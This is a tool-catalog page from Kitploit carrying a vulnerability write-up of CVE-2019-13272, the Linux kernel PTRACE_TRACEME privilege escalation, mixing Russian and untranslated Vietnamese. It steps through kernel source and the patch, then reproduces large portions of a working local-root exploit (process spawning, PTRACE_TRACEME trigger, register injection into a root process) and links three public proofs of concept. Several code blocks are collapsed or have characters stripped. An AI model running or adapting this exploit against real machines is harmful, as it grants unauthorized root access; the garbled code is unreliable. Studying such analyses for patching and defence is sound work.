Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2019-13272 — Глубокий анализ и эксплойт для CVE-2019-13272, уязвимости повышения привилегий в ядре Linux через ptrace. Включает разбор кода и сценарий эксплуатации. | Kitploit
Инструменты/GitHubGitHub/datntsec/cve-2019-13272
Повышение привилегийАнализ уязвимостейЭксплуатацияОбучение и ОбразованиеЭксплуатация Бинарных Файлов
GitHubdatntsec/cve-2019-13272

CVE-2019-13272

Глубокий анализ и эксплойт для CVE-2019-13272, уязвимости повышения привилегий в ядре Linux через ptrace. Включает разбор кода и сценарий эксплуатации.

Репозиторий
5 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2019-13272

PTRACE_TRACEME CVE-2019-13272 local privilege escalation vulnerability analysis

PTRACE_TRACEME — уязвимость повышения привилегий в ядре Linux, обнаруженная Янном Хорном (Jann Horn) в июле 2019 года.

Анализ уязвимости:

Ptrace — это системный вызов, который предоставляет механизм, позволяющий одному процессу (tracer) наблюдать и управлять выполнением другого процесса (tracee), а также проверять и изменять его образ ядра (core image) и регистры. В основном используется для установки точек останова (break point) при отладке и отслеживания вызовов системных вызовов.``` c 1 396 kernel/ptrace.c <<ptrace_attach>> ptrace_link(task, current); 2 469 kernel/ptrace.c <<ptrace_traceme>> ptrace_link(current, current->real_parent);

root@kitploit:~
Существует два способа установить trace-отношение:
  - Процесс вызывает функцию fork, и его дочерний процесс вызывает `PTRACE_TRACEME` (соответствует функции `ptrace_traceme` в ядре) для инициализации tracee.
  - Процесс вызывает `PTRACE_ATTACH` или `PTRACE_SEIZE` (соответствует функции `ptrace_attach` в ядре) для инициализации tracer’а, который будет трассировать другой процесс.
  
Независимо от того, какой способ используется, в конечном итоге вызывается функция `ptrace_link` для установки trace-отношения между tracer’ом и tracee.
- Два параметра, передаваемые в `ptrace_link` для `ptrace_attach`: это 'task' (tracee) и 'current' (tracer)
- Два параметра, передаваемые в `ptrace_link` для `ptrace_traceme`: это 'current' (tracee) и 'current->real_parent' (tracer)

Здесь необходимо обратить внимание на то, какие именно два параметра tracer’а и tracee передаются в двух вышеуказанных способах при вызове функции `ptrace_link`, поскольку уязвимость будет находиться в функции `ptrace_link`.``` c
static void ptrace_link(struct task_struct *child, struct task_struct *new_parent)
{
        rcu_read_lock();
        __ptrace_link(child, new_parent, __task_cred(new_parent));
        rcu_read_unlock();
}

void __ptrace_link(struct task_struct *child, struct task_struct *new_parent,
                   const struct cred *ptracer_cred)
{
        BUG_ON(!list_empty(&child->ptrace_entry));
        list_add(&child->ptrace_entry, &new_parent->ptraced); // 1. thêm chính nó vào hàng đợi 
                                                                 // ptraced của process cha
        child->parent = new_parent; // 2. Lưu địa chỉ của process cha trong con trỏ parent
        child->ptracer_cred = get_cred(ptracer_cred); // 3. Lưu ptracer_cred lại, ta cần tập trung 
                                                          // vào biến này vì lỗi nằm ở đây
}

Мấu chốt để thiết lập trace relationship là tracee sẽ ghi lại cred của tracer và lưu nó trong biến 'ptracer_cred' của tracee.

Khái niệm về 'ptracer_cred' đã được giới thiệu bởi một bản vá vào năm 2016, ptrace: Capture the ptracer's creds not PT_PTRACE_CAP. Mục đích của việc giới thiệu 'ptracer_cred' là để thực hiện kiểm tra bảo mật khi tracee thực thi exec để load setuid executable

Tại sao chúng ta cần kiểm tra sự an toàn này?

Family của exec có thể cập nhật image của process. Nếu setuid bit của file thực thi được set, khi file thực thi được chạy, euid của process sẽ được sửa đổi thành uid của chủ sở hữu file thực thi. Quyền của process cao hơn quyền của người dùng gọi exec và việc chạy loại setuid executable này sẽ có tác động leo thang (escalation).

Hãy tưởng tượng, nếu bản thân process thực thi exec là một tracee, sau khi nó thực hiện setuid executable để leo thang đặc quyền, tracer của nó có thể sửa đổi các thanh ghi và bộ nhớ của nó (tracee) bất kỳ lúc nào, và nếu tracer có đặc quyền thấp có thể kiểm soát tracee có đặc quyền cao, tracer có thể thực hiện các hoạt động trái phép thông qua tracee.

Tuy nhiên, trong kernel, dường như không cho phép tồn tại những hành vi vượt quá thẩm quyền như vậy, vì vậy khi thiết lập trace relationships, tracee cần lưu cred của tracer (tức là ptracer_cred), nếu tracee thực thi một exec process, nó sẽ kiểm tra xem setuid bit của file thực thi được chạy có được set hay không, nếu có, nó sẽ xem xét quyền của 'ptracer_cred'. Nếu quyền không thỏa, quyền thực thi của setuid bit (đặc quyền của chủ sở hữu file) sẽ không được dùng để thực thi exec mà sẽ được thực thi với quyền của người dùng ban đầu.

Phân tích code của process này như sau (phân tích code của bài viết này dựa trên v4.19-rc8).``` python do_execve -> __do_execve_file -> prepare_binprm -> bprm_fill_uid -> security_bprm_set_creds ->cap_bprm_set_creds -> ptracer_capable ->selinux_bprm_set_creds ->(apparmor_bprm_set_creds) ->(smack_bprm_set_creds) ->(tomoyo_bprm_set_creds)

root@kitploit:~
Операции, связанные с правами выполнения, в основном находятся в функции `prepare_binprm```` c
1567 int prepare_binprm(struct linux_binprm *bprm)
1568 {
1569         int retval;
1570         loff_t pos = 0;
1571 
1572         bprm_fill_uid(bprm); // <-- fill cred của new process (xem hàm bprm_fill_uid bên dưới sẽ rõ hơn)
1573 
1574         /* fill in binprm security blob */
1575         retval = security_bprm_set_creds(bprm); // <-- kiểm tra bảo mật, để xem xét sửa đổi cred của new process     
1576         if (retval)
1577                 return retval;
1578         bprm->called_set_creds = 1;
1579 
1580         memset(bprm->buf, 0, BINPRM_BUF_SIZE);
1581         return kernel_read(bprm->file, bprm->buf, BINPRM_BUF_SIZE, &pos);
1582 }

Как указано выше, сначала вызывается bprm_fill_uid для заполнения cred нового процесса, затем вызывается security_bprm_set_creds для проверки безопасности и модификации нового cred при необходимости.``` c 1509 static void bprm_fill_uid(struct linux_binprm *bprm) 1510 { 1511 struct inode inode; 1512 unsigned int mode; 1513 kuid_t uid; 1514 kgid_t gid; 1515 1516 / 1517 * Since this can be called multiple times (via prepare_binprm), 1518 * we must clear any previous work done when setting set[ug]id 1519 * bits from any earlier bprm->file uses (for example when run 1520 * first for a setuid script then again for its interpreter). 1521 / 1522 bprm->cred->euid = current_euid(); // <--- trước tiên sẽ sử dụng euid của process hiện tại 1523 bprm->cred->egid = current_egid(); 1524 1525 if (!mnt_may_suid(bprm->file->f_path.mnt)) 1526 return; 1527 1528 if (task_no_new_privs(current)) 1529 return; 1530 1531 inode = bprm->file->f_path.dentry->d_inode; 1532 mode = READ_ONCE(inode->i_mode); 1533 if (!(mode & (S_ISUID|S_ISGID))) // <---------- nếu bit setuid/setgid của file thực thi không được set 1534 return; // , hàm sẽ return tại đây. 1535 1536 / Be careful if suid/sgid is set / 1537 inode_lock(inode); 1538 1539 / reload atomically mode/uid/gid now that lock held / 1540 mode = inode->i_mode; 1541 uid = inode->i_uid; // <---- nếu S_ISUID được set,sử dụng i_uid của file 1542 gid = inode->i_gid; 1543 inode_unlock(inode); 1544 1545 / We ignore suid/sgid if there are no mappings for them in the ns */ 1546 if (!kuid_has_mapping(bprm->cred->user_ns, uid) || 1547 !kgid_has_mapping(bprm->cred->user_ns, gid)) 1548 return; 1549 1550 if (mode & S_ISUID) { 1551 bprm->per_clear |= PER_CLEAR_ON_SETID; 1552 bprm->cred->euid = uid; // <------ sử dụng uid của file như là euid của new process 1553 } 1554 1555 if ((mode & (S_ISGID | S_IXGRP)) == (S_ISGID | S_IXGRP)) { 1556 bprm->per_clear |= PER_CLEAR_ON_SETID; 1557 bprm->cred->egid = gid; 1558 } 1559 }

root@kitploit:~
Посмотрите на следующие 2 строки кода для приведенного выше кода:
- Строка 1522: присваивает текущий euid процесса новому euid, поэтому большинство выполняемых процессов работают с исходными правами.
- Строка 1552: если установлен suid-бит, присваивает uid владельца исполняемого файла новому uid. Это можно понимать как аналог setuid. Новый euid становится uid владельца исполняемого файла; если владелец является привилегированным пользователем, повышение привилегий происходит здесь.

Однако euid здесь пока не является окончательным результатом; нам нужно рассмотреть функцию `security_bprm_set_creds`, чтобы узнать больше о проверке безопасности.

Функция `security_bprm_set_creds` вызывает [LSM](https://en.wikipedia.org/wiki/Linux_Security_Modules) framework

В версии ядра, которую я анализирую, имеется до 5 точек подключения LSM frameworks, которые выполняют проверку безопасности 'bprm_set_creds'. Функции проверки следующие:``` python
cap_bprm_set_creds
selinux_bprm_set_creds
apparmor_bprm_set_creds
smack_bprm_set_creds
tomoyo_bprm_set_creds

Какие функции-хуки будут выполняться здесь, зависит от конфигурации конкретного ядра. Теоретически, если все фреймворки LSM включены, все вышеупомянутые функции-хуки будут реализованы для проверки 'bprm_set_creds'.

В моей среде анализа выполняются только функции-хуки cap_bprm_set_creds и selinux_bprm_set_creds.

Из них функция cap_bprm_set_creds играет роль изменения euid:``` c 815 int cap_bprm_set_creds(struct linux_binprm *bprm) 816 { 817 const struct cred *old = current_cred(); 818 struct cred new = bprm->cred; 819 bool effective = false, has_fcap = false, is_setid; 820 int ret; 821 kuid_t root_uid; ===================== skip ====================== 838 / Don't let someone trace a set[ug]id/setpcap binary with the revised 839 * credentials unless they have the appropriate permit. 840 * 841 * In addition, if NO_NEW_PRIVS, then ensure we get no new privs. 842 / 843 is_setid = __is_setuid(new, old) || __is_setgid(new, old);
844 845 if ((is_setid || __cap_gained(permitted, new, old)) && // <---- kiểm tra setid của chương trình được thực thi 846 ((bprm->unsafe & ~LSM_UNSAFE_PTRACE) || 847 !ptracer_capable(current, new->user_ns))) { // <----- Nếu process thực thi execve được trace, và executed program là setuid, quyền sẽ được xem xét thêm vào 848 /
downgrade; they get no more than they had, and maybe less */ 849 if (!ns_capable(new->user_ns, CAP_SETUID) || 850 (bprm->unsafe & LSM_UNSAFE_NO_NEW_PRIVS)) { 851 new->euid = new->uid; // <----- Nếu không thỏa điều kiện, euid của tiến trình mới sẽ được reset về uid ban đầu 852 new->egid = new->gid; 853 } 854 new->cap_permitted = cap_intersect(new->cap_permitted, 855 old->cap_permitted); 856 } 857 858 new->suid = new->fsuid = new->euid; 859 new->sgid = new->fsgid = new->egid; ===================== skip ====================== }

root@kitploit:~
Как указано выше, 
  - Строка 845 проверяет, соответствует ли euid исходному uid (в анализе функции `bprm_fill_uid` выше, если исполняемый файл имеет установленный setuid-бит, euid обычно не будет соответствовать) ==> Это также можно понимать как эквивалент обнаружения того, является ли запущенный процесс setid-программой.
  - Строка 847 проверяет, является ли процесс tracee.
  
Если оба вышеуказанных условия выполнены, необходимо выполнить функцию `ptracer_capable` для проверки прав. Если проверка не пройдена, выполняется понижение прав.
  - Строка 851 изменяет значение '*new->euid*' на '*new->uid*', что означает, что права, полученные из функции `bprm_fill_uid` (cred), могут быть понижены здесь.``` c
    499 bool ptracer_capable(struct task_struct *tsk, struct user_namespace *ns)
    500 {
    501         int ret = 0;  /* An absent tracer adds no restrictions */
    502         const struct cred *cred;
    503         rcu_read_lock();
    504         cred = rcu_dereference(tsk->ptracer_cred); // <----- lấy ra ptracer_cred được lưu khi ptrace_link
    505         if (cred)
    506                 ret = security_capable_noaudit(cred, ns, CAP_SYS_PTRACE); // <-- đi vào lsm framwork để kiểm tra bảo mật
    507         rcu_read_unlock();
    508         return (ret == 0);
    509 }
    

Như ở trên

  • Dòng 504 lấy ra 'tsk->ptracer_cred'.
  • Dòng 506, vào lsm framework để kiểm tra 'tsk->ptracer_cred'.

Biến 'tsk->ptracer_cred' liên quan đến lỗ hổng nằm tại đây. Như đã đề cập trước đó, biến này là cred của tracer được lưu bởi tracee khi trace relationship được thiết lập.

Khi tracee thực hiện execve sau đó để thực thi chương trình suid executable, nó sẽ gọi hàm ptracer_capable và sử dụng security framework trong lsm để xác định quyền của 'ptracer_cred'.

Chúng ta sẽ không phân tích security_capable_noaudit trong lsm framework, nhưng có thể hiểu đơn giản rằng nếu bản thân tracer có đặc quyền root thì việc kiểm tra ở đây sẽ được pass, nếu không, nó sẽ trả về lỗi.

Theo phân tích trước đó, nếu kiểm tra bởi hàm ptracer_capable sai thì quyền của 'new->euid' sẽ bị hạ về quyền ban đầu.

Ví dụ: A ptrace B, B thực thi execve '/usr/bin/passwd'. Theo phân tích của đoạn code trên, nếu A có quyền root thì euid của B thực thi passwd là root, ngược lại nó sẽ sử dụng quyền ban đầu.``` c kernel/ptrace.c <<ptrace_traceme>> ptrace_link(current, current->real_parent);

static void ptrace_link(struct task_struct *child, struct task_struct *new_parent) { rcu_read_lock(); __ptrace_link(child, new_parent, __task_cred(new_parent)); rcu_read_unlock(); }

root@kitploit:~
Возвращаясь к фрагменту кода с уязвимостью выше, почему traceme неправильно записывает cred своего родителя при установке trace link? Очевидно, что в этот момент его родителем является tracer? Используя пример Jann Horn, чтобы проиллюстрировать, почему traceme не может использовать cred tracer при установке trace link таким образом.``` py
 - 1,  task A: fork()s a child, task B
 - 2,  task B: fork()s a child, task C
 - 3,  task B: execve(/some/special/suid/binary)
 - 4,  task C: PTRACE_TRACEME (creates privileged ptrace relationship)
 - 5,  task C: execve(/usr/bin/passwd)
 - 6,  task B: drop privileges (setresuid(getuid(), getuid(), getuid()))
 - 7,  task B: become dumpable again (e.g. execve(/some/other/binary))
 - 8,  task A: PTRACE_ATTACH to task B
 - 9,  task A: use ptrace to take control of task B
 - 10, task B: use ptrace to take control of task C

В приведённом сценарии всего три процесса: A, B, C.

  • На шаге 4, когда задача C использует PTRACE_TRACEME для установки trace-связи с B, поскольку euid B теперь равен 0 (так как он только что выполнил suid binary), euid 'ptracer_cred', записанный C, также равен 0.
  • На шаге 5 задача C выполняет execve(suid binary). Согласно предыдущему анализу, поскольку 'ptracer_cred' C обладает привилегиями, функция ptracer_capable проходит проверку, поэтому после выполнения execve euid задачи C также повышается до 0. Обратите внимание, что trace-связь между B и C на данный момент остаётся действительной.
  • На шаге 6 задача B выполняет setresuid, чтобы понизить свои привилегии. Цель этого — подготовиться к присоединению к задаче A.
  • На шаге 8 задача A использует PTRACE_ATTACH для установки trace-связи с B. Оба A и B имеют обычные права, после чего A может управлять B для выполнения любых операций.
  • На шаге 10 задача B управляет задачей C для выполнения действий по повышению привилегий.

Первые 9 шагов выполнены в соответствии с предыдущим анализом кода; может ли шаг 9 быть настроен?

При выполнении шага 10 сама задача B имеет обычные права, задача C — root-права, и trace-связь между B и C действительна. В этих условиях может ли B отправить запрос ptrace, чтобы C выполнила различные операции, включая повышение привилегий?

Давайте проанализируем это с помощью кода ниже:``` c 1111 SYSCALL_DEFINE4(ptrace, long, request, long, pid, unsigned long, addr, 1112 unsigned long, data) 1113 { 1114 struct task_struct child; 1115 long ret; 1116 1117 if (request == PTRACE_TRACEME) { 1118 ret = ptrace_traceme(); // <----- đi vào nhánh traceme 1119 if (!ret) 1120 arch_ptrace_attach(current); 1121 goto out; 1122 } 1123 1124 child = find_get_task_by_vpid(pid); 1125 if (!child) { 1126 ret = -ESRCH; 1127 goto out; 1128 } 1129 1130 if (request == PTRACE_ATTACH || request == PTRACE_SEIZE) { 1131 ret = ptrace_attach(child, request, addr, data); // <------ đi vào nhánh attach 1132 / 1133 * Some architectures need to do book-keeping after 1134 * a ptrace attach. 1135 */ 1136 if (!ret) 1137 arch_ptrace_attach(child); 1138 goto out_put_task_struct; 1139 } 1140 1141 ret = ptrace_check_attach(child, request == PTRACE_KILL || 1142 request == PTRACE_INTERRUPT); 1143 if (ret < 0) 1144 goto out_put_task_struct; 1145 1146 ret = arch_ptrace(child, request, addr, data); // <---- các yêu cầu ptrace khác 1147 if (ret || request != PTRACE_DETACH) 1148 ptrace_unfreeze_traced(child); 1149 1150 out_put_task_struct: 1151 put_task_struct(child); 1152 out: 1153 return ret; 1154 }

root@kitploit:~
Как в коде выше, поскольку задачи B и C уже имеют trace links в этот момент, запрос ptrace может быть отправлен напрямую к C через B, после чего будет вызвана функция `arch_ptrace`.``` c
arch/x86/kernel/ptrace.c

arch_ptrace 
    -> ptrace_request 
        -> generic_ptrace_peekdata
           generic_ptrace_pokedata 
            -> ptrace_access_vm 
                -> ptracer_capable 
kernel/ptrace.c
884 int ptrace_request(struct task_struct *child, long request,
885                    unsigned long addr, unsigned long data)
886 {
887         bool seized = child->ptrace & PT_SEIZED;
888         int ret = -EIO;
889         siginfo_t siginfo, *si;
890         void __user *datavp = (void __user *) data;
891         unsigned long __user *datalp = datavp;
892         unsigned long flags;
893 
894         switch (request) {
895         case PTRACE_PEEKTEXT:
896         case PTRACE_PEEKDATA:
897                 return generic_ptrace_peekdata(child, addr, data);
898         case PTRACE_POKETEXT:
899         case PTRACE_POKEDATA:
900                 return generic_ptrace_pokedata(child, addr, data);
901 
=================== skip ================
1105 }



1156 int generic_ptrace_peekdata(struct task_struct *tsk, unsigned long addr,
1157                             unsigned long data)
1158 {
1159         unsigned long tmp;
1160         int copied;
1161 
1162         copied = ptrace_access_vm(tsk, addr, &tmp, sizeof(tmp), FOLL_FORCE); // <--- gọi hàm ptrace_access_vm
1163         if (copied != sizeof(tmp))
1164                 return -EIO;
1165         return put_user(tmp, (unsigned long __user *)data);
1166 }
1167 
1168 int generic_ptrace_pokedata(struct task_struct *tsk, unsigned long addr,
1169                             unsigned long data)
1170 {
1171         int copied;
1172 
1173         copied = ptrace_access_vm(tsk, addr, &data, sizeof(data), // <---- gọi hàm ptrace_access_vm
1174                         FOLL_FORCE | FOLL_WRITE);
1175         return (copied == sizeof(data)) ? 0 : -EIO;
1176 }

Khi tracer muốn điều khiển tracee thực thi new code logic, nó cần gửi yêu cầu đọc và ghi vào vùng code và vùng nhớ của tracee. Yêu cầu tương ứng là các hàm PTRACE_PEEKTEXT/PTRACE_PEEKDATA/PTRACE_POKETEXT/PTRACE_POKEDATA.

Các thao tác đọc và ghi này cuối cùng được thực hiện thông qua hàm ptrace_access_vm.``` c kernel/ptrace.c 38 int ptrace_access_vm(struct task_struct *tsk, unsigned long addr, 39 void *buf, int len, unsigned int gup_flags) 40 { 41 struct mm_struct *mm; 42 int ret; 43 44 mm = get_task_mm(tsk); 45 if (!mm) 46 return 0; 47 48 if (!tsk->ptrace || 49 (current != tsk->parent) || 50 ((get_dumpable(mm) != SUID_DUMP_USER) && 51 !ptracer_capable(tsk, mm->user_ns))) { // < ----- gọi hàm ptracer_capable một lần nữa. 52 mmput(mm); 53 return 0; 54 } 55 56 ret = __access_remote_vm(tsk, mm, addr, buf, len, gup_flags); 57 mmput(mm); 58 59 return ret; 60 }

kernel/capability.c 499 bool ptracer_capable(struct task_struct *tsk, struct user_namespace ns) 500 { 501 int ret = 0; / An absent tracer adds no restrictions */ 502 const struct cred *cred; 503 rcu_read_lock(); 504 cred = rcu_dereference(tsk->ptracer_cred); 505 if (cred) 506 ret = security_capable_noaudit(cred, ns, CAP_SYS_PTRACE); 507 rcu_read_unlock(); 508 return (ret == 0); 509 }

root@kitploit:~
Взглянув на приведенный выше код, мы видим, что функция `ptrace_access_vm` вызывает функцию `ptracer_capable`, которую мы проанализировали ранее, чтобы определить, может ли быть выполнен ее запрос.

Согласно результатам предыдущего анализа, '*ptracer_cred*', сохраненный в задаче C на данный момент, является привилегированным cred, поэтому `ptracer_capable` будет пройдена в этот момент, что означает, что на предыдущий вопрос дан ответ. В этом случае задача B с обычными привилегиями может использовать ptrace для отправки запросов на чтение и запись в память и область кода задачи C, имеющей привилегии root.

Теперь привилегия '*ptracer_cred*' предоставляется задачей C в двух случаях:
- Задача C выполняет `execve(suid binary)` для повышения привилегий
- Задача B с обычными привилегиями может выполнять ptrace для чтения и записи в область кода и памяти задачи C, тем самым управляя задачей C для выполнения произвольных действий

Является ли сочетание этих двух ролей полноценной эскалацией привилегий?

Прежде чем ответить на этот вопрос, давайте рассмотрим, как эта уязвимость эксплуатируется и как она была исправлена.

# Кратко об исправлении уязвимости PTRACE_TRACEME``` 
PTRACE_TRACEME records the parent's credentials as if the parent was 
acting as the subject, but that's not the case.  If a malicious
unprivileged child uses PTRACE_TRACEME and the parent is privileged, and
at a later point, the parent process becomes attacker-controlled
(because it drops privileges and calls execve()), the attacker ends up
with control over two processes with a privileged ptrace relationship,
which can be abused to ptrace a suid binary and obtain root privileges.

По сути, эта уязвимость немного похожа на уязвимость типа TOCTOU. Получение 'ptracer_cred' на этапе traceme и использование 'ptracer_cred' на следующем этапе в последующем запросе ptrace — cred трейсера может быть не исходным cred, а cred момента связи (то есть он переназначается в функции ptrace_link).``` diff diff --git a/kernel/ptrace.c b/kernel/ptrace.c index 8456b6e..705887f 100644 --- a/kernel/ptrace.c +++ b/kernel/ptrace.c @@ -79,9 +79,7 @@ void __ptrace_link(struct task_struct *child, struct task_struct *new_parent, */ static void ptrace_link(struct task_struct *child, struct task_struct *new_parent) {

  • rcu_read_lock();
  • __ptrace_link(child, new_parent, __task_cred(new_parent));
  • rcu_read_unlock();
  • __ptrace_link(child, new_parent, current_cred()); }
root@kitploit:~
Давайте взглянем на патч: '*\_\_task_cred(new_parent)*' заменён на '*current_cred()*'

Патч указывает, что при выполнении PTRACE_TRACEME, '*ptracer_cred*' не использует cred родительского процесса, а использует собственные cred.

# Эксплуатация

Ключ к эксплуатации этой уязвимости — найти подходящую исполняемую программу для запуска задачи B. Эта программа должна удовлетворять следующим условиям:
- Обычный пользователь может её вызвать.
- Должен быть этап повышения привилегий до root в процессе выполнения.
- После получения прав root должна быть возможность понизить привилегии.

(Цель временного повышения до root — позволить задаче C получить ptracer_cred от root, а цель понижения привилегий — позволить B быть присоединённым процессом с обычными привилегиями ptrace.)

Вот 3 примера кода для эксплуатации:
- [Exploit by Jann Horn](https://bugs.chromium.org/p/project-zero/issues/attachmentText?aid=401217)
- [Exploit by Bcoles](https://github.com/bcoles/kernel-exploits/blob/master/CVE-2019-13272/poc.c)
- [Exploit by Jiayy](https://github.com/jiayy/android_vuln_poc-exp/tree/master/EXP-CVE-2019-13272)

В [эксплойте Jann Horn](https://bugs.chromium.org/p/project-zero/issues/attachmentText?aid=401217) используется встроенная в систему программа [pkexec](http://manpages.ubuntu.com/manpages/trusty/man1/pkexec.1.html) (для настольной версии) для запуска задачи B.

[pkexec](http://manpages.ubuntu.com/manpages/trusty/man1/pkexec.1.html) позволяет привилегированному пользователю запускать другую программу с правами другого пользователя; используется в фреймворке аутентификации polkit. При использовании параметра --user он позволяет процессу повысить привилегии до root, а затем понизить до указанного пользователя, поэтому его можно использовать для построения задачи B. Кроме того, нужно найти другие исполняемые программы, которые выполняются через polkit (Jann Horn использует хелперы). Эти программы должны быть такими, чтобы обычный пользователь мог выполнить их через pkexec без аутентификации (многие программы, выполняемые через polkit, требуют аутентификации через всплывающее окно). Способ выполнения следующий:``` sh
/usr/bin/pkexec —user nonrootuser /user/sbin/some-helper-binary

Эксплойт Bcoles добавляет код для поиска дополнительного бинарного helper на основе работы Jann Horn. Поскольку helper Jann Horn является жестко заданной программой, она не существует во многих дистрибутивах Linux, поэтому его эксплойт не может быть использован на многих дистрибутивах. Напротив, код эксплойта Bcoles может успешно работать на большем количестве дистрибутивов.

В целях исследования я расскажу об эксплойте Jiayy, поскольку helper binary в разных дистрибутивах различаются, и pkexec доступен только в настольных дистрибутивах, и на самом деле эта уязвимость повышения привилегий является уязвимостью ядра Linux, поэтому эксплойт Jann Horn был изменён для использования повышения привилегий через две программы fakepkexec и fakehelper, созданные вручную (вместо поиска в целевой системе), чтобы читатель мог запустить этот эксплойт на любой уязвимой системе Linux (даже не настольной) в исследовательских целях.

анализ эксплойта

Посмотрим код эксплойта ниже:``` c 167 int main(int argc, char *argv) { 168 if (strcmp(argv[0], "stage2") == 0) 169 return middle_stage2(); 170 if (strcmp(argv[0], "stage3") == 0) 171 return spawn_shell(); 172 173 helper_path = "/tmp/fakehelper"; 174 175 / 176 * set up a pipe such that the next write to it will block: packet mode, 177 * limited to one packet 178 / 179 SAFE(pipe2(block_pipe, O_CLOEXEC|O_DIRECT)); 180 SAFE(fcntl(block_pipe[0], F_SETPIPE_SZ, 0x1000)); 181 char dummy = 0; 182 SAFE(write(block_pipe[1], &dummy, 1)); 183 184 / spawn pkexec in a child, and continue here once our child is in execve() / 185 static char middle_stack[10241024]; 186 pid_t midpid = SAFE(clone(middle_main, middle_stack+sizeof(middle_stack), 187 CLONE_VM|CLONE_VFORK|SIGCHLD, NULL)); 188 if (!middle_success) return 1; 189 ======================= skip ======================= 215 }

root@kitploit:~
Во-первых, посмотрите на строку 186, вызов функции clone для создания дочернего процесса (task B), task B будет выполнять функцию middle_main.``` c
64 static int middle_main(void *dummy) {
65   prctl(PR_SET_PDEATHSIG, SIGKILL);
66   pid_t middle = getpid();
67 
68   self_fd = SAFE(open("/proc/self/exe", O_RDONLY));
69 
70   pid_t child = SAFE(fork());
71   if (child == 0) {
72     prctl(PR_SET_PDEATHSIG, SIGKILL);
73 
74     SAFE(dup2(self_fd, 42));
75 
76     /* spin until our parent becomes privileged (have to be fast here) */
77     int proc_fd = SAFE(open(tprintf("/proc/%d/status", middle), O_RDONLY));
78     char *needle = tprintf("nUid:t%dt0t", getuid());
79     while (1) {
80       char buf[1000];
81       ssize_t buflen = SAFE(pread(proc_fd, buf, sizeof(buf)-1, 0));
82       buf[buflen] = '';
83       if (strstr(buf, needle)) break;
84     }
85 
86     /*
87      * this is where the bug is triggered.
88      * while our parent is in the middle of pkexec, we force it to become our
89      * tracer, with pkexec's creds as ptracer_cred.
90      */
91     SAFE(ptrace(PTRACE_TRACEME, 0, NULL, NULL));
92 
93     /*
94      * now we execute passwd. because the ptrace relationship is considered to
95      * be privileged, this is a proper suid execution despite the attached
96      * tracer, not a degraded one.
97      * at the end of execve(), this process receives a SIGTRAP from ptrace.
98      */
99     puts("executing passwd");
100     execl("/usr/bin/passwd", "passwd", NULL);
101     err(1, "execl passwd");
102   }
103 
104   SAFE(dup2(self_fd, 0));
105   SAFE(dup2(block_pipe[1], 1));
106 
107   struct passwd *pw = getpwuid(getuid());
108   if (pw == NULL) err(1, "getpwuid");
109 
110   middle_success = 1;
111   execl("/tmp/fakepkexec", "fakepkexec", "--user", pw->pw_name, NULL);
112   middle_success = 0;
113   err(1, "execl pkexec");
114 }

Строка 70, вызов функции fork для создания grandchild process (task C).

Затем, на строке 111, task B запускает fakepkexec для повышения привилегий, а затем понижает их.

Далее, рассмотрим строки 76–84: после того, как task C обнаруживает, что euid task B становится 0, он выполняет строку 91 для выполнения операции PTRACE_TRACEME, чтобы получить ptracer_cred от root, и после этого немедленно запускает executel для выполнения suid binary, чтобы сделать свой euid равным 0.``` c 190 /* 191 * wait for our child to go through both execve() calls (first pkexec, then 192 * the executable permitted by polkit policy). 193 */ 194 while (1) { 195 int fd = open(tprintf("/proc/%d/comm", midpid), O_RDONLY); 196 char buf[16]; 197 int buflen = SAFE(read(fd, buf, sizeof(buf)-1)); 198 buf[buflen] = ''; 199 strchrnul(buf, 'n') = ''; 200 if (strncmp(buf, basename(helper_path), 15) == 0) 201 break; 202 usleep(100000); 203 } 204 205 / 206 * our child should have gone through both the privileged execve() and the 207 * following execve() here 208 */ 209 SAFE(ptrace(PTRACE_ATTACH, midpid, 0, NULL)); 210 SAFE(waitpid(midpid, &dummy_status, 0)); 211 fputs("attached to midpidn", stderr); 212 213 force_exec_and_wait(midpid, 0, "stage2"); 214 return 0;

root@kitploit:~
Далее, вернемся к функции main задачи A, строки с 194 по 202: задача A проверяет, стал ли файл comm задачи B хелпером. Если да, то она выполняет строку 213 для вызова функции force_exec_and_wait.``` c
116 static void force_exec_and_wait(pid_t pid, int exec_fd, char *arg0) {
117   struct user_regs_struct regs;
118   struct iovec iov = { .iov_base = &regs, .iov_len = sizeof(regs) };
119   SAFE(ptrace(PTRACE_SYSCALL, pid, 0, NULL));
120   SAFE(waitpid(pid, &dummy_status, 0));
121   SAFE(ptrace(PTRACE_GETREGSET, pid, NT_PRSTATUS, &iov));
122 
123   /* set up indirect arguments */
124   unsigned long scratch_area = (regs.rsp - 0x1000) & ~0xfffUL;
125   struct injected_page {
126     unsigned long argv[2];
127     unsigned long envv[1];
128     char arg0[8];
129     char path[1];
130   } ipage = {
131     .argv = { scratch_area + offsetof(struct injected_page, arg0) }
132   };
133   strcpy(ipage.arg0, arg0);
134   for (int i = 0; i < sizeof(ipage)/sizeof(long); i++) {
135     unsigned long pdata = ((unsigned long *)&ipage)[i];
136     SAFE(ptrace(PTRACE_POKETEXT, pid, scratch_area + i * sizeof(long),
137                 (void*)pdata));
138   }
139 
140   /* execveat(exec_fd, path, argv, envv, flags) */
141   regs.orig_rax = __NR_execveat;
142   regs.rdi = exec_fd;
143   regs.rsi = scratch_area + offsetof(struct injected_page, path);
144   regs.rdx = scratch_area + offsetof(struct injected_page, argv);
145   regs.r10 = scratch_area + offsetof(struct injected_page, envv);
146   regs.r8 = AT_EMPTY_PATH;
147 
148   SAFE(ptrace(PTRACE_SETREGSET, pid, NT_PRSTATUS, &iov));
149   SAFE(ptrace(PTRACE_DETACH, pid, 0, NULL));
150   SAFE(waitpid(pid, &dummy_status, 0));
151 }

